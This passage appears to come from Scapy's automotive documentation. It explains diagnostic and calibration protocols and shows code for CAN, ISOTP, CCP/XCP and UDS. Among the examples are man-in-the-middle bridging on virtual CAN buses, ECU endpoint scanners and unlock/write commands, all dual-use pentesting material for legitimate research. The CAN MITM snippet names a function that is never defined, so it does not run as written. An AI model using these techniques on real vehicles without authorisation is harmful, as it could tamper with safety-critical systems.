Two examples of diagnostic protocols are General Motor Local Area Network (GMLAN) and Unified Diagnostic Service (UDS) (ISO 14229-2). The General Motors Cooperation uses GMLAN. German OEMs mainly use UDS. Both protocols are very similar from a specification point of view, and both protocols use either ISO-TP or DoIP messages for a directed communication with a target ECU. Since different OEMs use UDS, every manufacturer adds its custom additions to the standard. Also, every manufacturer uses individual ISO-TP addressing for the directed communication with an ECU. GMLAN includes more precise definitions about ECU addressing and an ECUs internal behavior compared to UDS.

UDS and GMLAN follow a tree-like message structure, where the first byte identifies the service. Every service is answered by a response. Two types of responses are defined in the standard. Negative responses are indicated through the service 0x7F. Positive responses are identified by the request service identifier incremented with 0x40.


[image: ../_images/diag-stack.png]

Automotive Diagnostic Protocol Stack



A clear separation between the transport and the application layer allows creating application layer tools for both network stacks. The figure above provides an overview of relevant protocols and the corresponding layers. UDS defines a clean separation between application and transport layer. On CAN based networks, ISO-TP is used for this purpose. The CAN protocol can be treated as the network access protocol. This allows to replace ISO-TP and CAN with DoIP or HSFZ and Ethernet. The GMLAN protocol combines transport and application layer specifications very similar to ISO-TP and UDS. Because of that similarity, identical application layer-specific scan techniques can be applied. To overcome the bandwidth limitations of CAN, the latest vehicle architectures use an Ethernet-based diagnostic protocol (DoIP, HSFZ) to communicate with a central gateway ECU. The central gateway ECU routes application layer packets from an Ethernet-based network to a CAN based vehicle internal network. In general, the diagnostic functions of all ECUs in a vehicle can be accessed from the OBD connector over UDSonCAN or UDSonIP.



SOME/IP

Scalable service-Oriented MiddlewarE over IP (SOME/IP) defines a new philosophy of data communication in automotive networks. SOME/IP is used to exchange data between network domain controllers in the latest vehicle networks. SOME/IP supports subscription and notification mechanisms, allowing domain controllers to dynamically subscribe to data provided by another domain controller dependent on the vehicle’s state. SOME/IP transports data between domain controllers and the gateway that a vehicle needs during its regular operation. The use-cases of SOME/IP are similar to the use-cases of CAN communication. The main purpose is the information exchange of sensor and actuator data between ECUs. This usage emphasizes SOME/IP communication as a rewarding target for cyber-attacks.



CCP/XCP

Universal Measurement and Calibration Protocol (XCP), the CAN Calibration Protocol (CCP) successor, is a calibration protocol for automotive systems, standardized by ASAM e.V. in 2003. The primary usage of XCP is during the testing and calibration phase of ECU or vehicle development. CCP is designed for use on CAN. No message in CCP exceeds the 8-byte limitation of CAN. To overcome this restriction, XCP was designed to aim for compatibility with a wide range of transport protocols. XCP can be used on top of CAN, CAN FD, Serial Peripheral Interface (SPI), Ethernet, Universal Serial Bus (USB), and FlexRay. The features of CCP and XCP are very similar; however, XCP has a larger functional scope and optimizations for data efficiency.

Both protocols have a session-based communication procedure and support authentication through seed and key mechanisms between a master and multiple slave nodes. A master node is typically an engineering Personal Computer (PC). In vehicles, slave nodes are ECUs for configuration. XCP also supports simulation. A vehicle engineer can debug a MATLAB Simulink model through XCP. In this case, the simulated model acts as the XCP slave node. CCP and XCP can read and write to the memory of an ECU. Another main feature is data acquisition. Both protocols support a procedure that allows an engineer to configure a so-called data acquisition list with memory addresses of interest. All memory specified in such a list will be read periodically and be broadcast in a CCP or XCP Data Acquisition (DAQ) packet on the chosen communication channel. The following figure gives an overview of all supported communication and packet types in XCP. In the Command Transfer Object (CTO) area, all communication follows a request and response procedure always initiated by the XCP master. A Command Packet (CMD) can receive a Command Response Packet (RES), an Error (ERR) packet, an Event Packet (EV), or a Service Request Packet (SERV) as a response. After the configuration of a slave through CTO CMDs, a slave can listen for Stimulation (STIM) packets and periodically send configured DAQ packets. The resources section in the following figure indicates the possible attack surfaces of this protocol (Programming (PGM), Calibration (CAL), DAQ, STIM) which an attacker could abuse. It is crucial for a vehicle’s security and safety that such protocols, which have their use only during calibration and development of a vehicle, are disabled or removed before a vehicle is shipped to a customer.


[image: ../_images/XCP_ReferenceBook.png]

XCP communication model between XCP Master and XCP Slave. This model shows the communication direction for CTO/Data Transfer Object (DTO) packages [8].
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Layers


Note

ATTENTION: Animations below might be outdated.




CAN


How-To

Send and receive a message over Linux SocketCAN:

load_layer("can")
load_contrib('cansocket')

socket = CANSocket(channel='can0')
packet = CAN(identifier=0x123, data=b'01020304')

socket.send(packet)
rx_packet = socket.recv()

socket.sr1(packet, timeout=1)





Send and receive a message over a Vector CAN-Interface:

load_layer("can")
conf.contribs['CANSocket'] = {'use-python-can' : True}
load_contrib('cansocket')

socket = CANSocket(bustype='vector', channel=0, bitrate=1000000)
packet = CAN(identifier=0x123, data=b'01020304')

socket.send(packet)
rx_packet = socket.recv()

socket.sr1(packet)







CAN Frame

Basic information about CAN can be found here: https://en.wikipedia.org/wiki/CAN_bus

The following examples assume that CAN layer in your Scapy session is loaded.
If it isn’t, the CAN layer can be loaded with this command in your Scapy session:

>>> load_layer("can")





Creation of a standard CAN frame:

>>> frame = CAN(identifier=0x200, length=8, data=b'\x01\x02\x03\x04\x05\x06\x07\x08')





Creation of an extended CAN frame:

frame = CAN(flags='extended', identifier=0x10010000, length=8, data=b'\x01\x02\x03\x04\x05\x06\x07\x08')
>>> frame.show()
###[ CAN ]###
  flags= extended
  identifier= 0x10010000
  length= 8
  reserved= 0
  data= '\x01\x02\x03\x04\x05\x06\x07\x08'





[image: ../_images/animation-scapy-canframe.svg]

CAN Frame in- and export

CAN Frames can be written to and read from pcap files:

x = CAN(identifier=0x7ff,length=8,data=b'\x01\x02\x03\x04\x05\x06\x07\x08')
wrpcap('/tmp/scapyPcapTest.pcap', x, append=False)
y = rdpcap('/tmp/scapyPcapTest.pcap', 1)





[image: ../_images/animation-scapy-rdpcap.svg]Additionally CAN Frames can be imported from candump output and log files.
The CandumpReader class can be used in the same way as a socket object.
This allows you to use sniff and other functions from Scapy:

with CandumpReader("candump.log") as sock:
    can_msgs = sniff(count=50, opened_socket=sock)





[image: ../_images/animation-scapy-rdcandump.svg]

DBC File Format and CAN Signals

In order to support the DBC file format, SignalFields and the SignalPacket
classes were added to Scapy. SignalFields should only be used inside a SignalPacket.
Multiplexer fields (MUX) can be created through ConditionalFields. The following
example demonstrates the usage:

DBC Example:

BO_ 4 muxTestFrame: 7 TEST_ECU
 SG_ myMuxer M : 53|3@1+ (1,0) [0|0] ""  CCL_TEST
 SG_ muxSig4 m0 : 25|7@1- (1,0) [0|0] ""  CCL_TEST
 SG_ muxSig3 m0 : 16|9@1+ (1,0) [0|0] ""  CCL_TEST
 SG_ muxSig2 m0 : 15|8@0- (1,0) [0|0] ""  CCL_TEST
 SG_ muxSig1 m0 : 0|8@1- (1,0) [0|0] ""  CCL_TEST
 SG_ muxSig5 m1 : 22|7@1- (0.01,0) [0|0] ""  CCL_TEST
 SG_ muxSig6 m1 : 32|9@1+ (2,10) [0|0] "mV"  CCL_TEST
 SG_ muxSig7 m1 : 2|8@0- (0.5,0) [0|0] ""  CCL_TEST
 SG_ muxSig8 m1 : 0|6@1- (10,0) [0|0] ""  CCL_TEST
 SG_ muxSig9 : 40|8@1- (100,-5) [0|0] "V"  CCL_TEST

BO_ 3 testFrameFloat: 8 TEST_ECU
 SG_ floatSignal2 : 32|32@1- (1,0) [0|0] ""  CCL_TEST
 SG_ floatSignal1 : 7|32@0- (1,0) [0|0] ""  CCL_TEST





Scapy implementation of this DBC description:

class muxTestFrame(SignalPacket):
    fields_desc = [
        LEUnsignedSignalField("myMuxer", default=0, start=53, size=3),
        ConditionalField(LESignedSignalField("muxSig4", default=0, start=25, size=7), lambda p: p.myMuxer == 0),
        ConditionalField(LEUnsignedSignalField("muxSig3", default=0, start=16, size=9), lambda p: p.myMuxer == 0),
        ConditionalField(BESignedSignalField("muxSig2", default=0, start=15, size=8), lambda p: p.myMuxer == 0),
        ConditionalField(LESignedSignalField("muxSig1", default=0, start=0, size=8), lambda p: p.myMuxer == 0),
        ConditionalField(LESignedSignalField("muxSig5", default=0, start=22, size=7, scaling=0.01), lambda p: p.myMuxer == 1),
        ConditionalField(LEUnsignedSignalField("muxSig6", default=0, start=32, size=9, scaling=2, offset=10, unit="mV"), lambda p: p.myMuxer == 1),
        ConditionalField(BESignedSignalField("muxSig7", default=0, start=2, size=8, scaling=0.5), lambda p: p.myMuxer == 1),
        ConditionalField(LESignedSignalField("muxSig8", default=0, start=3, size=3, scaling=10), lambda p: p.myMuxer == 1),
        LESignedSignalField("muxSig9", default=0, start=41, size=7, scaling=100, offset=-5, unit="V"),
    ]

class testFrameFloat(SignalPacket):
    fields_desc = [
        LEFloatSignalField("floatSignal2", default=0, start=32),
        BEFloatSignalField("floatSignal1", default=0, start=7)
    ]

bind_layers(SignalHeader, muxTestFrame, identifier=0x123)
bind_layers(SignalHeader, testFrameFloat, identifier=0x321)

dbc_sock = CANSocket("can0", basecls=SignalHeader)

pkt = SignalHeader()/testFrameFloat(floatSignal2=3.4)

dbc_sock.send(pkt)





This example uses the class SignalHeader as header. The payload is specified by individual SignalPackets.
bind_layers combines the header with the payload dependent on the CAN identifier.
If you want to directly receive SignalPackets from your CANSocket, provide the parameter basecls to
the init function of your CANSocket.

Canmatrix supports the creation of Scapy files from DBC or AUTOSAR XML files https://github.com/ebroecker/canmatrix




CANSockets


Linux SocketCAN

This subsection summarizes some basics about Linux SocketCAN. An excellent overview
from Oliver Hartkopp can be found here: https://wiki.automotivelinux.org/_media/agl-distro/agl2017-socketcan-print.pdf


Virtual CAN Setup

Linux SocketCAN supports virtual CAN interfaces. These interfaces are an easy way
to do some first steps on a CAN-Bus without the requirement of special hardware.
Besides that, virtual CAN interfaces are heavily used in Scapy unit tests for
automotive-related contributions.

Virtual CAN sockets require a special Linux kernel module. The following shell command loads the required module:

sudo modprobe vcan





In order to use a virtual CAN interface some additional commands for setup are required.
This snippet chooses the name vcan0 for the virtual CAN interface. Any name can be chosen here:

sudo ip link add name vcan0 type vcan
sudo ip link set dev vcan0 up





The same commands can be executed from Scapy like this:

from scapy.layers.can import *
import os

bashCommand = "/bin/bash -c 'sudo modprobe vcan; sudo ip link add name vcan0 type vcan; sudo ip link set dev vcan0 up'"
os.system(bashCommand)





If it’s required, a CAN interface can be set into a listen-only or loopback mode with ip link set commands:

ip link set vcan0 type can help  # shows additional information







Linux can-utils

As part of Linux SocketCAN, some very useful command line tools are provided from
Oliver Hartkopp: https://github.com/linux-can/can-utils

The following example shows the basic functions of Linux can-utils. These utilities
are very handy for quick checks, dumping, sending, or logging of CAN messages
from the command line.

[image: ../_images/animation-cansend.svg]


Scapy CANSocket

In Scapy, two kind of CANSockets are implemented. One implementation is called Native CANSocket,
the other implementation is called Python-can CANSocket.

Since Python 3 supports PF_CAN sockets, Native CANSockets can be used on a
Linux based system with Python 3 or higher. These sockets have a performance advantage
because select is callable on them. This has a big effect in MITM scenarios.

For compatibility reasons, Python-can CANSockets were added to Scapy.
On Windows or OSX and on all systems without Python 3, CAN buses can be accessed
through python-can. python-can needs to be installed on the system: https://github.com/hardbyte/python-can/
Python-can CANSockets are a wrapper of python-can interface objects for Scapy.
Both CANSockets provide the same API which makes them exchangeable under most conditions.
Nevertheless some unique behaviours of each CANSocket type has to be respected.
Some CAN-interfaces, like Vector hardware is only supported on Windows.
These interfaces can be used through Python-can CANSockets.


Native CANSocket

Creating a simple native CANSocket:

conf.contribs['CANSocket'] = {'use-python-can': False} #(default)
load_contrib('cansocket')

# Simple Socket
socket = CANSocket(channel="vcan0")





Creating a native CANSocket only listen for messages with Id == 0x200:

socket = CANSocket(channel="vcan0", can_filters=[{'can_id': 0x200, 'can_mask': 0x7FF}])





Creating a native CANSocket only listen for messages with Id >= 0x200 and Id <= 0x2ff:

socket = CANSocket(channel="vcan0", can_filters=[{'can_id': 0x200, 'can_mask': 0x700}])





Creating a native CANSocket only listen for messages with Id != 0x200:

socket = CANSocket(channel="vcan0", can_filters=[{'can_id': 0x200 | CAN_INV_FILTER, 'can_mask': 0x7FF}])





Creating a native CANSocket with multiple can_filters:

socket = CANSocket(channel='vcan0', can_filters=[{'can_id': 0x200, 'can_mask': 0x7ff},
                                               {'can_id': 0x400, 'can_mask': 0x7ff},
                                               {'can_id': 0x600, 'can_mask': 0x7ff},
                                               {'can_id': 0x7ff, 'can_mask': 0x7ff}])





Creating a native CANSocket which also receives its own messages:

socket = CANSocket(channel="vcan0", receive_own_messages=True)





[image: ../_images/animation-scapy-native-cansocket.svg]Sniff on a CANSocket:

[image: ../_images/animation-scapy-cansockets-sniff.svg]

CANSocket python-can

python-can is required to use various CAN-interfaces on Windows, OSX or Linux.
The python-can library is used through a CANSocket object. To create a python-can
CANSocket object, all parameters of a python-can interface.Bus object has to
be used for the initialization of the CANSocket.

Ways of creating a python-can CANSocket:

conf.contribs['CANSocket'] = {'use-python-can': True}
load_contrib('cansocket')





Creating a simple python-can CANSocket:

socket = CANSocket(bustype='socketcan', channel='vcan0', bitrate=250000)





Creating a python-can CANSocket with multiple filters:

socket = CANSocket(bustype='socketcan', channel='vcan0', bitrate=250000,
                can_filters=[{'can_id': 0x200, 'can_mask': 0x7ff},
                            {'can_id': 0x400, 'can_mask': 0x7ff},
                            {'can_id': 0x600, 'can_mask': 0x7ff},
                            {'can_id': 0x7ff, 'can_mask': 0x7ff}])





For further details on python-can check: https://python-can.readthedocs.io/



CANSocket MITM attack with bridge and sniff

This example shows how to use bridge and sniff on virtual CAN interfaces.
For real world applications, use real CAN interfaces.
Set up two vcans on Linux terminal:

sudo modprobe vcan
sudo ip link add name vcan0 type vcan
sudo ip link add name vcan1 type vcan
sudo ip link set dev vcan0 up
sudo ip link set dev vcan1 up





Import modules:

import threading
load_contrib('cansocket')
load_layer("can")





Create can sockets for attack:

socket0 = CANSocket(channel='vcan0')
socket1 = CANSocket(channel='vcan1')





Create a function to send packet with threading:

def sendPacket():
    sleep(0.2)
    socket0.send(CAN(flags='extended', identifier=0x10010000, length=8, data=b'\x01\x02\x03\x04\x05\x06\x07\x08'))





Create a function for forwarding or change packets:

def forwarding(pkt):
    return pkt





Create a function to bridge and sniff between two sockets:

def bridge():
    bSocket0 = CANSocket(channel='vcan0')
    bSocket1 = CANSocket(channel='vcan1')
    bridge_and_sniff(if1=bSocket0, if2=bSocket1, xfrm12=forwarding, xfrm21=forwarding, timeout=1)
    bSocket0.close()
    bSocket1.close()





Create threads for sending packet and to bridge and sniff:

threadBridge = threading.Thread(target=bridge)
threadSender = threading.Thread(target=sendMessage)





Start the threads:

threadBridge.start()
threadSender.start()





Sniff packets:

packets = socket1.sniff(timeout=0.3)





Close the sockets:

socket0.close()
socket1.close()





[image: ../_images/animation-scapy-cansockets-mitm.svg][image: ../_images/animation-scapy-cansockets-mitm2.svg]



CAN Calibration Protocol (CCP)

CCP is derived from CAN. The CAN-header is part of a CCP frame. CCP has two types
of message objects. One is called Command Receive Object (CRO), the other is called
Data Transmission Object (DTO). Usually CROs are sent to an Ecu, and DTOs are received
from an Ecu. The information, if one DTO answers a CRO is implemented through a counter
field (ctr). If both objects have the same counter value, the payload of a DTO object
can be interpreted from the command of the associated CRO object.

Creating a CRO message:

load_contrib('automotive.ccp')
CCP(identifier=0x700)/CRO(ctr=1)/CONNECT(station_address=0x02)
CCP(identifier=0x711)/CRO(ctr=2)/GET_SEED(resource=2)
CCP(identifier=0x711)/CRO(ctr=3)/UNLOCK(key=b"123456")





If we aren’t interested in the DTO of an Ecu, we can just send a CRO message like this:
Sending a CRO message:

pkt = CCP(identifier=0x700)/CRO(ctr=1)/CONNECT(station_address=0x02)
sock = CANSocket(bustype='socketcan', channel='vcan0')
sock.send(pkt)





If we are interested in the DTO of an Ecu, we need to set the basecls parameter of the
CANSocket to CCP and we need to use sr1:
Sending a CRO message:

cro = CCP(identifier=0x700)/CRO(ctr=0x53)/PROGRAM_6(data=b"\x10\x11\x12\x10\x11\x12")
sock = CANSocket(bustype='socketcan', channel='vcan0', basecls=CCP)
dto = sock.sr1(cro)
dto.show()
###[ CAN Calibration Protocol ]###
  flags=
  identifier= 0x700
  length= 8
  reserved= 0
###[ DTO ]###
     packet_id= 0xff
     return_code= acknowledge / no error
     ctr= 83
###[ PROGRAM_6_DTO ]###
        MTA0_extension= 2
        MTA0_address= 0x34002006





Since sr1 calls the answers function, our payload of the DTO objects gets interpreted with the
command of our CRO object.



Universal calibration and measurement protocol (XCP)

XCP is the successor of CCP. It is usable with several protocols. Scapy includes CAN, UDP and TCP.
XCP has two types of message types: Command Transfer Object (CTO) and Data Transmission Object (DTO).
CTOs send to an Ecu are requests (commands) and the Ecu has to reply with a positive response or an error.
Additionally, the Ecu can send a CTO to inform the master about an asynchronous event (EV) or request a service execution (SERV).
DTOs sent by the Ecu are called DAQ (Data AcQuisition) and include measured values.
DTOs received by the Ecu are used for a periodic stimulation and are called STIM (Stimulation).

Creating a CTO message:

CTORequest() / Connect()
CTORequest() / GetDaqResolutionInfo()
CTORequest() / GetSeed(mode=0x01, resource=0x00)





To send the message over CAN a header has to be added:

pkt = XCPOnCAN(identifier=0x700) / CTORequest() / Connect()
sock = CANSocket(iface=can.interface.Bus(bustype='socketcan', channel='vcan0'))
sock.send(pkt)





If we are interested in the response of an Ecu, we need to set the basecls parameter of the
CANSocket to XCPonCAN and we need to use sr1:
Sending a CTO message:

sock = CANSocket(bustype='socketcan', channel='vcan0', basecls=XCPonCAN)
dto = sock.sr1(pkt)





Since sr1 calls the answers function, our payload of the XCP-response objects gets interpreted with the
command of our CTO object. Otherwise it could not be interpreted.
The first message should always be the “CONNECT” message, the response of the Ecu determines how the messages are read. E.g.: byte order.
Otherwise, one must set the address granularity, and max size of the DTOs and CTOs per hand in the contrib config:

conf.contribs['XCP']['Address_Granularity_Byte'] = 1  # Can be 1, 2 or 4
conf.contribs['XCP']['MAX_CTO'] = 8
conf.contribs['XCP']['MAX_DTO'] = 8





If you do not want this to be set after receiving the message you can also disable that feature:

conf.contribs['XCP']['allow_byte_order_change'] = False
conf.contribs['XCP']['allow_ag_change'] = False
conf.contribs['XCP']['allow_cto_and_dto_change'] = False





To send a pkt over TCP or UDP another header must be used.
TCP:

prt1, prt2 = 12345, 54321
XCPOnTCP(sport=prt1, dport=prt2) / CTORequest() / Connect()





UDP:

XCPOnUDP(sport=prt1, dport=prt2) / CTORequest() / Connect()






XCPScanner

The XCPScanner is a utility to find the CAN identifiers of ECUs that support XCP.

Commandline usage example:

python -m scapy.tools.automotive.xcpscanner -h
Finds XCP slaves using the "GetSlaveId"-message(Broadcast) or the "Connect"-message.

positional arguments:
  channel               Linux SocketCAN interface name, e.g.: vcan0

optional arguments:
  -h, --help            show this help message and exit
  --start START, -s START
                        Start identifier CAN (in hex).
                        The scan will test ids between --start and --end (inclusive)
                        Default: 0x00
  --end END, -e END     End identifier CAN (in hex).
                        The scan will test ids between --start and --end (inclusive)
                        Default: 0x7ff
  --sniff_time', '-t'   Duration in milliseconds a sniff is waiting for a response.
                        Default: 100
  --broadcast, -b       Use Broadcast-message GetSlaveId instead of default "Connect"
                        (GetSlaveId is an optional Message that is not always implemented)
  --verbose VERBOSE, -v
                        Display information during scan

    Examples:
        python3.6 -m scapy.tools.automotive.xcpscanner can0
        python3.6 -m scapy.tools.automotive.xcpscanner can0 -b 500
        python3.6 -m scapy.tools.automotive.xcpscanner can0 -s 50 -e 100
        python3.6 -m scapy.tools.automotive.xcpscanner can0 -b 500 -v






	Interactive shell usage example::
	>>> conf.contribs['CANSocket'] = {'use-python-can': False}
>>> load_layer("can")
>>> load_contrib("automotive.xcp.xcp")
>>> sock = CANSocket("vcan0")
>>> sock.basecls = XCPOnCAN
>>> scanner = XCPOnCANScanner(sock)
>>> result = scanner.start_scan()









The result includes the slave_id (the identifier of the Ecu that receives XCP messages),
and the response_id (the identifier that the Ecu will send XCP messages to).




ISOTP


ISOTP message

Creating an ISOTP message:

load_contrib('isotp')
ISOTP(tx_id=0x241, rx_id=0x641, data=b"\x3eabc")





Creating an ISOTP message with extended addressing:

ISOTP(tx_id=0x241, rx_id=0x641, rx_ext_address=0x41, data=b"\x3eabc")





Creating an ISOTP message with extended addressing:

ISOTP(tx_id=0x241, rx_id=0x641, rx_ext_address=0x41, ext_address=0x41, data=b"\x3eabc")





Create CAN-frames from an ISOTP message:

ISOTP(tx_id=0x241, rx_id=0x641, rx_ext_address=0x41, ext_address=0x55, data=b"\x3eabc" * 10).fragment()





Send ISOTP message over ISOTP socket:

isoTpSocket = ISOTPSocket('vcan0', tx_id=0x241, rx_id=0x641)
isoTpMessage = ISOTP('Message')
isoTpSocket.send(isoTpMessage)





Sniff ISOTP message:

isoTpSocket = ISOTPSocket('vcan0', tx_id=0x641, rx_id=0x241)
packets = isoTpSocket.sniff(timeout=0.5)







ISOTP Sockets

Scapy provides two kinds of ISOTP-Sockets. One implementation, the ISOTPNativeSocket
is using the Linux kernel module from Hartkopp. The other implementation, the ISOTPSoftSocket
is completely implemented in Python. This implementation can be used on Linux,
Windows, and OSX.

An ISOTPSocket will not respect tx_id, rx_id, rx_ext_address, ext_address of an ISOTP
message object.


System compatibilities

Dependent on your setup, different implementations have to be used.



	Python OS

	Linux with can_isotp

	Linux wo can_isotp

	Windows / OSX





	Python 3

	ISOTPNativeSocket

	ISOTPSoftSocket

	ISOTPSoftSocket

conf.contribs['CANSocket'] = {'use-python-can': True}




	conf.contribs['CANSocket'] = {'use-python-can': False}



	Python 2

	ISOTPSoftSocket

conf.contribs['CANSocket'] = {'use-python-can': True}







The class ISOTPSocket can be set to a ISOTPNativeSocket or a ISOTPSoftSocket.
The decision is made dependent on the configuration conf.contribs['ISOTP'] = {'use-can-isotp-kernel-module': True} (to select ISOTPNativeSocket) or
conf.contribs['ISOTP'] = {'use-can-isotp-kernel-module': False} (to select ISOTPSoftSocket).
This will allow you to write platform independent code. Apply this configuration before loading the ISOTP layer
with load_contrib('isotp').

Another remark in respect to ISOTPSocket compatibility. Always use with for
socket creation. This ensures that ISOTPSoftSocket objects will get closed
properly.
Example:

with ISOTPSocket("vcan0", rx_id=0x241, tx_id=0x641) as sock:
    sock.send(...)







ISOTPNativeSocket

Requires:


	Python3


	Linux


	Hartkopp’s Linux kernel module: https://github.com/hartkopp/can-isotp.git (merged into mainline Linux in 5.10)




During pentests, the ISOTPNativeSockets has a better performance and
reliability, usually. If you are working on Linux, consider this implementation:

conf.contribs['ISOTP'] = {'use-can-isotp-kernel-module': True}
load_contrib('isotp')
sock = ISOTPSocket("can0", tx_id=0x641, rx_id=0x241)





Since this implementation is using a standard Linux socket, all Scapy functions
like sniff, sr, sr1, bridge_and_sniff work out of the box.



ISOTPSoftSocket

ISOTPSoftSockets can use any CANSocket. This gives the flexibility to use all
python-can interfaces. Additionally, these sockets work on Python2 and Python3.
Usage on Linux with native CANSockets:

conf.contribs['ISOTP'] = {'use-can-isotp-kernel-module': False}
load_contrib('isotp')
with ISOTPSocket("can0", tx_id=0x641, rx_id=0x241) as sock:
    sock.send(...)





Usage with python-can CANSockets:

conf.contribs['ISOTP'] = {'use-can-isotp-kernel-module': False}
conf.contribs['CANSocket'] = {'use-python-can': True}
load_contrib('isotp')
with ISOTPSocket(CANSocket(bustype='socketcan', channel="can0"), tx_id=0x641, rx_id=0x241) as sock:
    sock.send(...)





This second example allows the usage of any python_can.interface object.

Attention: The internal implementation of ISOTPSoftSockets requires a background
thread. In order to be able to close this thread properly, we suggest the use of
Pythons with statement.




ISOTP MITM attack with bridge and sniff

Set up two vcans on Linux terminal:

sudo modprobe vcan
sudo ip link add name vcan0 type vcan
sudo ip link add name vcan1 type vcan
sudo ip link set dev vcan0 up
sudo ip link set dev vcan1 up





Import modules:

import threading
load_contrib('cansocket')
conf.contribs['ISOTP'] = {'use-can-isotp-kernel-module': True}
load_contrib('isotp')





Create to ISOTP sockets for attack:

isoTpSocketVCan0 = ISOTPSocket('vcan0', tx_id=0x241, rx_id=0x641)
isoTpSocketVCan1 = ISOTPSocket('vcan1', tx_id=0x641, rx_id=0x241)





Create function to send packet on vcan0 with threading:

def sendPacketWithISOTPSocket():
    sleep(0.2)
    packet = ISOTP('Request')
    isoTpSocketVCan0.send(packet)





Create function to forward packet:

def forwarding(pkt):
    return pkt





Create function to bridge and sniff between two buses:

def bridge():
    bSocket0 = ISOTPSocket('vcan0', tx_id=0x641, rx_id=0x241)
    bSocket1 = ISOTPSocket('vcan1', tx_id=0x241, rx_id=0x641)
    bridge_and_sniff(if1=bSocket0, if2=bSocket1, xfrm12=forwarding, xfrm21=forwarding, timeout=1)
    bSocket0.close()
    bSocket1.close()





Create threads for sending packet and to bridge and sniff:

threadBridge = threading.Thread(target=bridge)
threadSender = threading.Thread(target=sendPacketWithISOTPSocket)





Start threads:

threadBridge.start()
threadSender.start()





Sniff on vcan1:

receive = isoTpSocketVCan1.sniff(timeout=1)





Close sockets:

isoTpSocketVCan0.close()
isoTpSocketVCan1.close()







isotp_scan and ISOTPScanner

isotp_scan is a utility function to find ISOTP-Endpoints on a CAN-Bus.
ISOTPScanner is a commandline-utility for the identical function.

[image: ../_images/animation-scapy-isotpscan.svg]Commandline usage example:

python -m scapy.tools.automotive.isotpscanner -h
usage:      isotpscanner [-i interface] [-c channel] [-b bitrate]
                [-n NOISE_LISTEN_TIME] [-t SNIFF_TIME] [-x|--extended]
                [-C|--piso] [-v|--verbose] [-h|--help] [-s start] [-e end]

    Scan for open ISOTP-Sockets.

    required arguments:
    -c, --channel         python-can channel or Linux SocketCAN interface name
    -s, --start           Start scan at this identifier (hex)
    -e, --end             End scan at this identifier (hex)

    additional required arguments for WINDOWS or Python 2:
    -i, --interface       python-can interface for the scan.
                          Depends on used interpreter and system,
                          see examples below. Any python-can interface can
                          be provided. Please see:
                          https://python-can.readthedocs.io for
                          further interface examples.
    -b, --bitrate         python-can bitrate.

    optional arguments:
    -h, --help            show this help message and exit
    -n NOISE_LISTEN_TIME, --noise_listen_time NOISE_LISTEN_TIME
                          Seconds listening for noise before scan.
    -t SNIFF_TIME, --sniff_time SNIFF_TIME
                          Duration in milliseconds a sniff is waiting for a
                          flow-control response.
    -x, --extended        Scan with ISOTP extended addressing.
    -C, --piso            Print 'Copy&Paste'-ready ISOTPSockets.
    -v, --verbose         Display information during scan.

    Example of use:

    Python2 or Windows:
    python2 -m scapy.tools.automotive.isotpscanner --interface=pcan --channel=PCAN_USBBUS1 --bitrate=250000 --start 0 --end 100
    python2 -m scapy.tools.automotive.isotpscanner --interface vector --channel 0 --bitrate 250000 --start 0 --end 100
    python2 -m scapy.tools.automotive.isotpscanner --interface socketcan --channel=can0 --bitrate=250000 --start 0 --end 100

    Python3 on Linux:
    python3 -m scapy.tools.automotive.isotpscanner --channel can0 --start 0 --end 100





Interactive shell usage example:

>>> conf.contribs['ISOTP'] = {'use-can-isotp-kernel-module': True}
>>> conf.contribs['CANSocket'] = {'use-python-can': False}
>>> load_contrib('cansocket')
>>> load_contrib('isotp')
>>> socks = isotp_scan(CANSocket("vcan0"), range(0x700, 0x800), can_interface="vcan0")
>>> socks
[<<ISOTPNativeSocket: read/write packets at a given CAN interface using CAN_ISOTP socket > at 0x7f98e27c8210>,
 <<ISOTPNativeSocket: read/write packets at a given CAN interface using CAN_ISOTP socket > at 0x7f98f9079cd0>,
 <<ISOTPNativeSocket: read/write packets at a given CAN interface using CAN_ISOTP socket > at 0x7f98f90cd490>,
 <<ISOTPNativeSocket: read/write packets at a given CAN interface using CAN_ISOTP socket > at 0x7f98f912ec50>,
 <<ISOTPNativeSocket: read/write packets at a given CAN interface using CAN_ISOTP socket > at 0x7f98f912e950>,
 <<ISOTPNativeSocket: read/write packets at a given CAN interface using CAN_ISOTP socket > at 0x7f98f906c0d0>]








UDS

The main usage of UDS is flashing and diagnostic of an Ecu. UDS is an
application layer protocol and can be used as a DoIP or HSFZ payload or a UDS packet
can directly be sent over an ISOTPSocket. Every OEM has its own customization of UDS.
This increases the difficulty of generic applications and OEM specific knowledge is
required for penetration tests. RoutineControl jobs and ReadDataByIdentifier/WriteDataByIdentifier
services are heavily customized.

Use the argument basecls=UDS on the init function of an ISOTPSocket.

Here are two usage examples:
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Customization of UDS_RDBI, UDS_WDBI

In real-world use-cases, the UDS layer is heavily customized. OEMs define their own substructure of packets.
Especially the packets ReadDataByIdentifier or WriteDataByIdentifier have a very OEM or even Ecu specific
substructure. Therefore a StrField dataRecord is not added to the field_desc.
The intended usage is to create Ecu or OEM specific description files, which extend the general UDS layer of
Scapy with further protocol implementations.

Customization example:

cat scapy/contrib/automotive/OEM-XYZ/car-model-xyz.py
#! /usr/bin/env python

# Protocol customization for car model xyz of OEM XYZ
# This file contains further OEM car model specific UDS additions.

from scapy.packet import Packet
from scapy.contrib.automotive.uds import *

# Define a new packet substructure

class DBI_IP(Packet):
name = 'DataByIdentifier_IP_Packet'
fields_desc = [
    ByteField('ADDRESS_FORMAT_ID', 0),
    IPField('IP', ''),
    IPField('SUBNETMASK', ''),
    IPField('DEFAULT_GATEWAY', '')
]

# Bind the new substructure onto the existing UDS packets

bind_layers(UDS_RDBIPR, DBI_IP, dataIdentifier=0x172b)
bind_layers(UDS_WDBI, DBI_IP, dataIdentifier=0x172b)

# Give add a nice name to dataIdentifiers enum

UDS_RDBI.dataIdentifiers[0x172b] = 'GatewayIP'





If one wants to work with this custom additions, these can be loaded at runtime
to the Scapy interpreter:

>>> load_contrib('automotive.uds')
>>> load_contrib('automotive.OEM-XYZ.car-model-xyz')

>>> pkt = UDS()/UDS_WDBI()/DBI_IP(IP='192.168.2.1', SUBNETMASK='255.255.255.0', DEFAULT_GATEWAY='192.168.2.1')

>>> pkt.show()
###[ UDS ]###
  service= WriteDataByIdentifier
###[ WriteDataByIdentifier ]###
     dataIdentifier= GatewayIP
     dataRecord= 0
###[ DataByIdentifier_IP_Packet ]###
        ADDRESS_FORMAT_ID= 0
        IP= 192.168.2.1
        SUBNETMASK= 255.255.255.0
        DEFAULT_GATEWAY= 192.168.2.1

>>> hexdump(pkt)
